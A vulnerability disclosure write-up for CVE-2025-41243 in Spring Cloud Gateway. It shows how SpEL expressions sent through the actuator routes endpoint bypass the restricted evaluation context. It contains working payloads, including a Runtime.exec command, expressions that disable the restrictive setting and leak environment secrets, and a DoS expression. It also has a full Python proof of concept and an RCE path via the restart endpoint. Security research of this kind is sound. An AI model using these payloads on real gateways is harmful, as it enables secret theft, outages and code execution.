[CVE-2025-41243] Spring Cloud Gateway: complicating evaluation context
Some time ago, my nuclei scanner stumbled across an interesting host in scope of some bugbounty program with an enabled spring cloud gateway actuator routes. According to the documentation,
This project provides a library for building an API Gateway on top of Spring WebFlux. Spring Cloud Gateway aims to provide a simple, yet effective way to route to APIs and provide cross cutting concerns to them such as: security, monitoring/metrics, and resiliency.
Among other things, this project supports dynamic routing configuration via the exposed actuator endpoint. Obviously, exposing such an endpoint could lead to an SSRF vulnerability, as was previously noted in this blog post by Wyatt Dahlenburg. Unfortunately (or fortunately, depending on your viewpoint), the main routing endpoint was not publicly exposed (i.e., only the actuator endpoint was exposed; that may seem weird, but enterprise infrastructure tends to be very complex), so in my case SSRF was not possible. There is also another piece of research by the same author about the critical CVE-2022-22947, which allows RCE via certain Spring Cloud Gateway features.
It turns out that the Gateway supports configuring routes with custom classes (this may be needed if, for example, you need to use a custom rate limiter, as explained here). This is implemented via SpEL, a simple expression language used for configuring applications written with Spring.
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
Expression exp = parser.parseExpression("'Hello World'");
String message = (String) exp.getValue(context);
This is a common example of using this language - first you parse the
expression, then you evaluate it. However, the number of available SpEL features
depends on the evaluation context you use, and in the case of
StandardEvaluationContext
you can use pretty much everything. As StandardEvaluationContext
allows obtaining instances of any type,
evaluating arbitrary SpEL expressions on the server is equivalent to getting
RCE. This was the problem that lead to the original
CVE-2022-22947:
with an open Gateway actuator endpoint, we can force the server to evaluate any
SpEL expression by adding a filter with SpEL, then updating the routes with a
request to a special endpoint.
{
// ...
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
"_genkey_1": "/${path}"
}
}
]
// ...
}
In the blog post we can also notice some interesting details on the fix for this
vulnerability. Before the fix,
GatewayEvaluationContext
was based on StandardEvaluationContext
; after the fix, it is based on the
restricted
SimpleEvaluationContext
.
This means that we can no longer use #{T(...)}
and some other features.
After the initial fix, the blog post author noted that using custom beans and
calling methods with a single argument to achieve an information leak was still
possible: #{@gatewayProperties.toString}
, where @gatewayProperties
is the
name of any registered bean.
Basically, a Java bean is just a special type of class, but to understand this post, you just have to know that bean instances are registered during Spring application startup and can later be instantiated by another special class - BeanFactory. For example, this may be used for dependency injection.
Author’s bypass led to the introduction of a new configuration property:
spring.cloud.gateway.restrictive-property-accessor.enabled
. This is how it is
used
(source):
boolean restrictive = env.getProperty(
"spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled", Boolean.class, true);
if (restrictive) {
delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor())
.withMethodResolvers((context, targetObject, name, argumentTypes) -> null)
.build();
}
else {
delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
}
Note that the property is checked dynamically for every route update. So, by
default, we get an evaluation context that does not support resolving any
properties.
RestrictivePropertyAccessor
always returns false
for the read-permission check:
class RestrictivePropertyAccessor extends ReflectivePropertyAccessor {
@Override
public boolean canRead(EvaluationContext context, Object target, String name) {
return false;
}
}
If the restrictive property is disabled, we get a read-only context, which allows reading properties (and calling zero-argument methods), but does not allow modification.
I decided to check whether those contexts indeed did not allow anything malicious.
# Fix Bypass
Turns out, they did. Even restricted evaluation context still allows some things, including:
- accessing beans
- creating and modifying variables, maps, arrays, etc.
There is also a subtle bug: RestrictivePropertyAccessor
restricts reading
properties but does not restrict writing them.
So, I decided to check all available beans. Patching Java libraries to add debug
output can be tedious, but led to a surprising discovery: the list of registered
beans was not limited to those registered by Spring Cloud Gateway itself but
also included beans registered by the Spring Framework core. Among them, I found
a bean @systemProperties
, which is a map of all configuration parameters. As
our context allows map modification, we can just change the configuration and
turn off the restrictive mode!
Other interesting beans include @environment
- it can allow us to read
application secrets. For example, leaking a specific source (the classpath
property source) can be performed with the following sequence of actions:
- Add a route with
#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}
- Update configuration
- Add a route with
#{@environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey, #this.getValue.toString}]}
- Update configuration
- Read routes
Complete exploit:
POC
import requests
s = requests.Session()
URL = "http://localhost:9000/"
ROUTE_NAME = "test_a"
def add_route(predicate: str):
res = s.post(
f"{URL}actuator/gateway/routes/{ROUTE_NAME}",
json={
"predicates": [{"name": "Path", "args": {"_genkey_0": "/actuators/test"}}],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/test",
"_genkey_1": predicate,
},
}
],
"uri": "http://example.com",
"order": -1,
},
)
res.raise_for_status()
s.post(
f"{URL}actuator/gateway/refresh",
)
res.raise_for_status()
def read_route():
res = s.get(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
try:
return res.json()["filters"]
except Exception as e:
print(f"UNEXPECTED: {e!r}, {res.status_code} {res.text}")
raise
def delete_route():
res = s.delete(f"{URL}actuator/gateway/routes/{ROUTE_NAME}")
res.raise_for_status()
s.post(
f"{URL}actuator/gateway/refresh",
)
res.raise_for_status()
add_route(" #{ @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}")
print(read_route())
add_route(" #{ @environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey, #this.getValue.toString}] }")
print(read_route())
There are also other vectors. For example, adding a route such as'#{ @configDataContextRefresher.refresh }'
leads to DoS. Exploiting other
beans is also possible.
# RCE
It is known that modifying properties of a Spring application can lead to RCE.
For example,
here
is a collection of some methods of exploitation. That means that if we can find
a way of restarting the application, we can gain full RCE! So, if the
/actuator/restart
endpoint is exposed, we can just make a request to this
endpoint and achieve our goal, as described in
this research.
There might be other, more general ways to do this, but I have not found them
yet.
# Disclosure
- Vulnerability reported on 2025-06-25
- The CVE was released on 2025-09-08